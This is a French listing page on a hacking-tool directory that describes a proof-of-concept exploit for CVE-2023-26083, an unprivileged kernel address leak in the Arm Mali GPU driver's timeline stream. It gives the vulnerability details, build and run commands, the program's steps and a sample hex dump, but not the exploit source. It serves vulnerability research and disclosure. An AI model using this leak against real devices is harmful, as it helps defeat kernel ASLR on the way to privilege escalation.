Skip to content
KitploitKITPLOIT
OutilsBlog
Log in
Soumettre
OutilsBlog
Soumettre

Outils de Hacking, PenTest et Cybersécurité pour votre Arsenal de Sécurité !

Kitploit est un répertoire d'outils de hacking, de cybersécurité et de pentesting. Découvrez les dernières mises à jour des projets pour trouver des vulnérabilités, analyser des systèmes, automatiser les tests et renforcer votre sécurité.

··Flux·Contact·Confidentialité·© 2026 Kitploit

Répertoire d'outils

Catégories

Voir toutes les catégories
Loading categories
CVE-2023-26083 — # CVE-2023-26083-Mali-InfoLeak-PoC | Kitploit
Outils/GitHubGitHub/noverisp3/cve-2023-26083
Analyse des VulnérabilitésExploitationCollecte d'InformationsSécurité Matériel et IoTApprentissage et ÉducationExploitation de Binaires
GitHubnoverisp3/cve-2023-26083

CVE-2023-26083

# CVE-2023-26083-Mali-InfoLeak-PoC

Voir le dépôt
12il y a 4 moisPas encore vérifié

Populaires

Voir tout →

Découvrez les outils les plus utilisés par notre communauté.

Explorer tous les outils

Parcourez notre collection d'outils

Voir tous les outils →
Partager

CVE-2023-26083 – Fuite d'adresses du noyau Mali GPU via le flux de timeline

Ce dépôt contient un exploit proof-of-concept (PoC) pour CVE-2023-26083, une vulnérabilité dans le pilote GPU Mali (Arm Mali GPU Kernel Driver) qui permet à un utilisateur non privilégié de fuiter des pointeurs noyau et des informations internes sensibles via le flux de timeline (/dev/mali0).

Présentation de la vulnérabilité

Le pilote GPU Mali fournit une fonctionnalité de « flux de timeline » (tlstream) pour le profilage et le débogage. Ce flux exporte des événements contenant des pointeurs noyau bruts (par exemple, les adresses de kbase_context, kbase_gpu, kbase_lpu, les espaces d'adressage, les atomes, etc.). Normalement, l'accès à ce flux devrait nécessiter le drapeau BASE_CONTEXT_CREATE_FLAG_MONITOR. Cependant, en raison d'un contrôle de permission manquant dans le gestionnaire KBASE_IOCTL_TLSTREAM_ACQUIRE, tout processus (même sans le drapeau monitor) peut obtenir un descripteur de fichier vers le flux de timeline et lire des adresses mémoire du noyau.

Impact :

  • La fuite des pointeurs noyau neutralise l'ASLR du noyau (KASLR).
  • Combinée à d'autres vulnérabilités (par exemple, use-after-free, écriture arbitraire), elle peut conduire à une élévation de privilèges ou à l'exécution arbitraire de code noyau.
  • La fuite elle-même expose l'état interne du pilote et peut être utilisée pour l'empreinte (fingerprinting).

Versions affectées

  • Versions du pilote Arm Mali GPU Kernel Driver antérieures au correctif de CVE-2023-26083.

Compilation et exécution

Prérequis

  • Un appareil avec un GPU Mali (par exemple, Exynos, MediaTek, certains SoC Rockchip).
  • L'accès root n'est pas requis – le PoC fonctionne en tant qu'utilisateur non privilégié.
  • Le noyau doit avoir le pilote Mali intégré ou en module (/dev/mali0 doit exister).

Compilation

Comme le code est autonome et indépendant, vous pouvez facilement le compiler en croisé (cross-compile) à l'aide des outils standard.

1. Pour Android (recommandé)

Utilisez la chaîne d'outils Android NDK pour compiler pour les appareils ARM64. Il est fortement recommandé d'utiliser la liaison statique pour éviter les problèmes de compatibilité du linker dynamique sur différentes versions d'Android :

aarch64-linux-android21-clang -static -o mali_tlstream_leak mali_tlstream_leak.c

2. Pour les postes Linux / cartes basés sur ARM

Si vous testez sur une carte de développement ARM (comme Raspberry Pi ou Odroid) équipée d'un GPU Mali et exécutant une distribution Linux standard :

gcc -static -o mali_tlstream_leak mali_tlstream_leak.c

Exécution

./mali_tlstream_leak

Le programme va :

  1. Ouvrir /dev/mali0.
  2. Effectuer une vérification de version.
  3. Définir les drapeaux sur BASE_CONTEXT_CREATE_FLAG_NONE (aucun privilège monitor).
  4. Acquérir le flux de timeline (ioctl vulnérable).
  5. Lire les paquets de timeline pendant quelques secondes.
  6. Analyser et afficher les fuites de pointeurs noyau (marquées avec *** KERNEL).

Exemple de sortie

Remarque : Ce proof-of-concept (PoC) a été testé uniquement sur un Samsung Galaxy J7 Prime sous Android 8.1.0 (Kernel 3.18) avec le niveau de correctif de sécurité du 1er avril 2020.

on7xelte:/data/local/tmp $ ./mali_tlstream_leak
Version: major=11 minor=5
SET_FLAGS ok
TLSTREAM_ACQUIRE ok, tlfd=4
Read 3805 bytes from tlstream (total=3805)

Raw hex dump (3805 bytes):

0000: 01 00 00 04 e1 0a 00 00 03 08 20 00 00 00 00 00
0010: 00 00 11 00 00 00 4b 42 41 53 45 5f 54 4c 5f 4e
0020: 45 57 5f 43 54 58 00 16 00 00 00 6f 62 6a 65 63
0030: 74 20 63 74 78 20 69 73 20 63 72 65 61 74 65 64
0040: 00 05 00 00 00 40 70 49 49 00 10 00 00 00 63 74
0050: 78 2c 63 74 78 5f 6e 72 2c 74 67 69 64 00 01 00
0060: 00 00 11 00 00 00 4b 42 41 53 45 5f 54 4c 5f 4e
0070: 45 57 5f 47 50 55 00 16 00 00 00 6f 62 6a 65 63
0080: 74 20 67 70 75 20 69 73 20 63 72 65 61 74 65 64
0090: 00 05 00 00 00 40 70 49 49 00 16 00 00 00 67 70
00a0: 75 2c 67 70 75 5f 69 64 2c 63 6f 72 65 5f 63 6f
00b0: 75 6e 74 00 02 00 00 00 11 00 00 00 4b 42 41 53
00c0: 45 5f 54 4c 5f 4e 45 57 5f 4c 50 55 00 16 00 00
00d0: 00 6f 62 6a 65 63 74 20 6c 70 75 20 69 73 20 63
00e0: 72 65 61 74 65 64 00 05 00 00 00 40 70 49 49 00
00f0: 12 00 00 00 6c 70 75 2c 6c 70 75 5f 6e 72 2c 6c
0100: 70 75 5f 66 6e 00 03 00 00 00 12 00 00 00 4b 42
0110: 41 53 45 5f 54 4c 5f 4e 45 57 5f 41 54 4f 4d 00
0120: 17 00 00 00 6f 62 6a 65 63 74 20 61 74 6f 6d 20
0130: 69 73 20 63 72 65 61 74 65 64 00 04 00 00 00 40
0140: 70 49 00 0d 00 00 00 61 74 6f 6d 2c 61 74 6f 6d
0150: 5f 6e 72 00 04 00 00 00 10 00 00 00 4b 42 41 53
0160: 45 5f 54 4c 5f 4e 45 57 5f 41 53 00 20 00 00 00
0170: 61 64 64 72 65 73 73 20 73 70 61 63 65 20 6f 62
0180: 6a 65 63 74 20 69 73 20 63 72 65 61 74 65 64 00
0190: 04 00 00 00 40 70 49 00 14 00 00 00 61 64 64 72
01a0: 65 73 73 5f 73 70 61 63 65 2c 61 73 5f 6e 72 00
01b0: 05 00 00 00 11 00 00 00 4b 42 41 53 45 5f 54 4c
01c0: 5f 44 45 4c 5f 43 54 58 00 15 00 00 00 63 6f 6e
01d0: 74 65 78 74 20 69 73 20 64 65 73 74 72 6f 79 65
01e0: 64 00 03 00 00 00 40 70 00 04 00 00 00 63 74 78
01f0: 00 06 00 00 00 12 00 00 00 4b 42 41 53 45 5f 54

Parsing packets:

Packet at offset 0: family=TL class=OBJ type=HEADER stream=1 len=2785 numbered=0
Télécharger l’outil